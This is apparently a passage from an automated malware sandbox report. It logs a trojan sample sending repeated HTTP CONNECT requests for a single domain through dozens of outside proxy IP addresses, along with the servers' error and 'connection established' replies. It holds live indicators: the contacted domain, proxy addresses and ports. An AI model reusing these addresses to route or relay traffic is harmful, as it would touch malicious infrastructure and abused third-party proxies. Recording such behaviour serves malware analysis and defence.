Feb 23, 2024 14:28:38.002542019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.992003918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.992599964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:49.991902113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:01.991743088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:09.337240934 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:27:41 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 639 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of
Feb 23, 2024 14:29:09.337260962 CET	295	IN	Data Raw: 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.18 (Ubuntu) Server at heygirlisheeverythingyo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1531	192.168.2.8	50159	103.25.210.102	347	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.096143961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.147439957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.164872885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:50.288680077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:02.301899910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1532	192.168.2.8	54377	104.200.135.46	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.113826990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1533	192.168.2.8	54451	112.133.192.231	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.115609884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1534	192.168.2.8	54479	85.172.60.202	1181	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.173685074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1535	192.168.2.8	54486	43.251.132.133	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.187478065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.493727922 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 13:28:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1536	192.168.2.8	50351	79.143.187.58	59410	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.187580109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.288640022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.289325953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1537	192.168.2.8	54478	20.6.9.237	20000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.187917948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.879488945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.858962059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1538	192.168.2.8	53528	200.155.168.70	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.202708006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.382276058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1539	192.168.2.8	54493	94.30.152.172	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.204525948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.407007933 CET	310	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 13:28:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1540	192.168.2.8	50483	154.65.39.8	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.229103088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.382463932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.492208958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1541	192.168.2.8	54482	47.100.207.117	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.231200933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.603919983 CET	590	IN	HTTP/1.1 400 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 435 Date: Fri, 23 Feb 2024 13:28:37 GMT Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 400 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 Bad Request</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1542	192.168.2.8	50358	193.34.237.241	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.256138086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1543	192.168.2.8	50338	186.215.87.194	6002	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.262376070 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.382538080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.492208958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1544	192.168.2.8	54490	47.74.226.8	5001	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.272979975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1545	192.168.2.8	54374	117.160.250.133	8899	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.313319921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.525212049 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 13:28:39 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Feb 23, 2024 14:28:43.162118912 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 13:28:39 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1546	192.168.2.8	54516	184.185.2.12	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.366960049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1547	192.168.2.8	54348	5.56.124.176	6734	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.384970903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.713454008 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1548	192.168.2.8	54501	20.219.180.105	3129	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.384972095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.720963955 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1549	192.168.2.8	54517	187.19.127.253	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.413769960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1550	192.168.2.8	54538	68.169.59.171	8380	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.424130917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.604922056 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1551	192.168.2.8	54561	104.16.107.142	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.424277067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.511902094 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1552	192.168.2.8	54575	104.20.56.71	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.433100939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.521069050 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1553	192.168.2.8	54580	104.16.241.204	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.434649944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.523394108 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1554	192.168.2.8	54590	104.25.108.120	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.445401907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.532846928 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1555	192.168.2.8	54608	45.12.31.3	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
